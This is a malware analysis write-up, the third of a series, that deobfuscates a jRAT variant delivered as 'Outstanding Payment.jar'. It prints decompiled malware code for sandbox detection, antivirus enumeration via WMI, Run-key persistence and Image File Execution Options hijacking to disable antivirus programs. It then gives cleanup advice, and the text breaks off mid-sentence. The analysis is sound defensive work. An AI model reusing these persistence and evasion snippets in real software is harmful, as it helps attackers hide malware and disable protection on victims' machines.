Analysing Suspicious File "Outstanding Payment.jar" - Part 3

What is the actual functional equipment of the malware under investigation, and what options does it offer to the attacker if successfully implemented? If there is an infection, is it enough to delete one file or is a complete system reinstallation required? The final part of the three articles on the analysis of a suspicious Java file discusses the very core of the malware and its individual components.

This is the last part of a trio of articles which I dedicated to the analysis of a suspicious file “Outstanding Payment.jar”.

In the first part, I managed to crack the first protective layer and decrypt the application resources. The result was a directory structure with new Java classes and several binary files.

In the second part, I got 2 almost identical Java archives from these files, differing only in configuration. By decrypting the configuration files, I discovered the IP addresses that the malware is probably communicating with.

Analysis of the malware core was the final step – i.e. analysing the specific implementation, supported functions, and as the case may be, the communication protocol.

The Last Deobfuscation

Unfortunately, none of the tried-and-tested tools could be successfully used for reliable 100% decompilation – the code was apparently modified at the level of Java Bytecode instructions resulting either in the decompilation crash or the production of an incorrect output.

Bytecode Viewer ( proved to be extremely useful, since in addition to displaying Java Bytecode instructions, it allows decompilation with 5 different decompilers (Procyon, CFR, JD-GUI, FernFlower, Krakatau). It is also possible to display the outputs side by side and to compare them.

CFR and FernFlower were able to offer at least an indicative view of the source code:

CFR and FernFlower decompilers
CFR and FernFlower decompilers

The same as in the beginning, when analysing the malware envelope, I focused again on text strings which were obviously encoded or encrypted. Each text string in the program was encapsulated by the calling of one of the five decoding functions:


Different decompilers produced different outputs, therefore, it was necessary to analyse Bytecode instructions.

It turned out that obfuscation is running in quite an interesting manner. The decoding method one-by-one:

  1. gets StackTrace and with it, the name of the class and method where it was called from; on this basis it generates a decoding key;
  2. calculates 2 integer constants with diverse bitwise operations;
  3. scans the input string and the key in the cycle, while the characters in the corresponding positions are combined by the XOR operation together with two calculated constants;
  4. returns the resulting string.

This means that the key for the decryption of each string depends on where in the program the given string is used.

On top of that, several insignificant instructions have been inserted in the body of the method (e.g. addition and then immediate removal of values from the stack or calculation of values that have never been used), presumably to make the decompilation more difficult.

All 5 decoding methods differed only by:

  • the manner of key generation (calling class + method, or method + class), and
  • the calculation of integer constants.

Thus, it wasn’t difficult to replicate the decoding algorithm e.g. in Python:

defdecode(encoded,key,const1=102,const2=55):decoded=[' 'forcinencoded]inputIndex=len(encoded)-1keyIndex=len(key)-1whileinputIndex>=0:decoded[inputIndex]=chr(const1^ord(encoded[inputIndex])^ord(key[keyIndex]))inputIndex-=1ifinputIndex<0:breakdecoded[inputIndex]=chr(const2^ord(encoded[inputIndex])^ord(key[keyIndex]))inputIndex-=1keyIndex-=1ifkeyIndex<0:keyIndex=len(key)-1return"".join(decoded)
Text strings decoding algorithm

This method made it possible to decrypt all encrypted strings in the exported decompiled classes. It was sufficient to go through the individual files one by one, use primitive state logic to follow the current context (class and method names), choose the method of generation of the key and the corresponding numeric constants according to the name of the decoding method and replace the entire call in the text with the decoded string.

Regular expressions were used for searching:

/^public.*class (.*?) .*\{/
Class definition
/^\s*(?:(?:public)|(?:private)|(?:protected)).* (\w+)\(.*\).*\{/
Method definition
Calling the decoding method

When the text strings were revealed, the code became much better readable, and although the decompilation was still only approximate, we could get a much better idea of all the things the malware was doing.

Code Analysis – Malware Features

One of the interesting features of this malware is that is can be transferred to different operating systems. Windows, Linux, as well as Mac OS are supported:

Decision making depending on operating system

Virtual environment check is also applied. If the program detects that this is the case of virtualization, it may terminate itself, thus hiding its suspicious activity from the detection software or an analyst investigating its behaviour in isolated conditions.

publicstatic/* synthetic */booleanIIIiIiIiiiIIIiii(){if(Server.settings.has("LINUX")){returnnewFile("/etc/init.d/vboxadd").exists();}if(Server.settings.has("MAC")){returnfalse;}if(!Server.settings.has("WINDOWS"))returnfalse;StringIIiiIiiiii=System.getenv((String)"ProgramFiles(X86)");if(IIiiIiiiii!=null)returnnewFile(newStringBuilder().insert(0,IIiiIiiiii).append("\\Oracle\\VirtualBox Guest Additions").toString()).exists();IIiiIiiiii=System.getenv((String)"ProgramFiles");returnnewFile(newStringBuilder().insert(0,IIiiIiiiii).append("\\Oracle\\VirtualBox Guest Additions").toString()).exists();}
Virtualized environment check

VisualBasic scripts are used for checking the presence of an antivirus or firewall, specifically the WMI interface (Windows Management Instrumentation):

SetoWMI=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")SetcolItems=oWMI.ExecQuery("Select * from AntiVirusProduct")ForEachobjItemincolItemsWithobjItemWScript.Echo"{""AV"":"""&.displayName&"""}"EndWithNext
Visual Basic script for antivirus detection

If the installation mode ("INSTALL": true) is set in the configuration, the malware creates its working folder named after the variable from the configuration file (JAR_FOLDER) in the user's home directory and it copies itself into this folder under the name and extension which are obtained from the configuration file as well. Then it creates an entry in the autorun registers, and finally, labels the entire working folder as hidden.

FileIIiiIiiiii=newFile(Server.settings.getString("PARENT_FOLDER"));FileIIiiIiiiii2=newFile(IIiiIiiiii,Server.settings.getString("JAR_NAME")+"."+Server.settings.getString("JAR_EXTENSION"));IIiiIiiiii.mkdirs();if(Server.settings.getString("SERVER_PATH").equalsIgnoreCase(IIiiIiiiii2.getAbsolutePath()))return;Runtime.getRuntime().exec(newString[]{"reg","add","HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run","/v",Server.settings.getString("JAR_REGISTRY"),"/t","REG_EXPAND_SZ","/d",newStringBuilder().insert(0,"\\\"").append(Server.settings.getString("JRE_PATH")).append("\\\" -jar \\\"").append(IIiiIiiiii2.getAbsolutePath()).append("\\\"").toString(),"/f"});iIiiiiiiii.IIIiIii(newFile(Server.settings.getString("PARENT_FOLDER")));Copy.copyFile(newFile(Server.settings.getString("SERVER_PATH")),IIiiIiiiii2);
Installation to the destination folder and creating an entry in the registers for autorun

In a separate thread, the malware connects to IP addresses and ports from the NETWORK configuration variable. After connecting to the given address, it sends its configuration in JSON format, and in an endless cycle, expects a command from the server in the following format:


While CMD is a number from 100 to 115.

With the commands, the attacker can for example:

The malware also contains a code for registers modification. Specifically, it is possible to modify the registers [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\]. Therefore, these registers are often used by attackers to efficiently block a program of their own choice, e.g. an antivirus :

JSONArrayIIiiIiiiii4=Server.settings.getJSONArray("SECURITY");booleanbl=false;IIiiIiiiii3.append("Windows Registry Editor Version 5.00\r\n");voidv0=IIiiIiiiii;while(v0<IIiiIiiiii4.length()){JSONArrayIIiiIiiiii5;intIIiiIiiiii6;ObjectIIiiIiiiii7;JSONObjectIIiiIiiiii8=IIiiIiiiii4.getJSONObject((int)IIiiIiiiii);if(IIiiIiiiii8.has("PROCESS")){IIiiIiiiii5=IIiiIiiiii8.getJSONArray("PROCESS");intn=IIiiIiiiii6=0;while(n<IIiiIiiiii5.length()){IIiiIiiiii7=IIiiIiiiii5.getString(IIiiIiiiii6);IIiiIiiiii2.add(IIiiIiiiii7);IIiiIiiiii3.append("\r\n");IIiiIiiiii3.append("\"debugger\"=\"svchost.exe\"\r\n");IIiiIiiiii3.append("[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\").append((String)IIiiIiiiii7).append("]\r\n");n=++IIiiIiiiii6;}}...
Modification of registers

If, for example, there is a generated register myantivirus.exe with the debugger=svchost.exe key in the Image File Execution Options file, it means that the svchost.exe program will be started instead of the myantivirus.exe program, thereby the antivirus is blocked.


The analysed file “Outstanding Payment.jar” is a variant of a commonly used Java malware called jRAT. It contains several levels of protection against detection as well as automated or manual examination.

The techniques used to make static analysis difficult include:

  • encryption of resources with AES and RSA algorithms,
  • fragmenting the files and dispersing them into several binary sources,
  • reflexive calls,
  • text strings obfuscation,
  • program flow obfuscation.

From the dynamic analysis point of view, the malware:

  • controls its operation in virtual environment,
  • checks for the presence of antivirus and firewall,
  • contains a code for a selected program deactivation, e.g. an antivirus.

This is a cross-platform product containing specialized code for Windows, Linux, and MacOS operating systems.

The architecture is modular, supports dynamic addition of extensions (plugins) and gives the attacker complete control over the victim's device.

Automated analysis and detection is challenging due extensively used encryption. On top of that, bypassing signature-based detection is trivial due to the technique of file fragmentation and their subsequent dispersion among the application sources – it is enough to mix the individual fragments or, alternatively, to resize them, and the resulting file has immediately a completely new and unique form.

Since the attacker gains absolute control over the infected computer, it is likely that he will try to implant additional hidden doors into the system after the malware is launched. Therefore, the only reliable solution in case of infection is a complete reinstallation of the system.

Should it happen that is not possible, it is necessary to delete at least all files created during the malware installation - the JAR_FOLDER folder from the configuration file in the user's home directory (wert in this case).

Also, the entries generated from the registers in the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ file must be deleted, specifically the JAR_REGISTRY value from the configuration file (in this case wert again).

In addition, it is advisable to closely monitor all network traffic from the device that was infected for some time – and especially the incriminated IP addresses a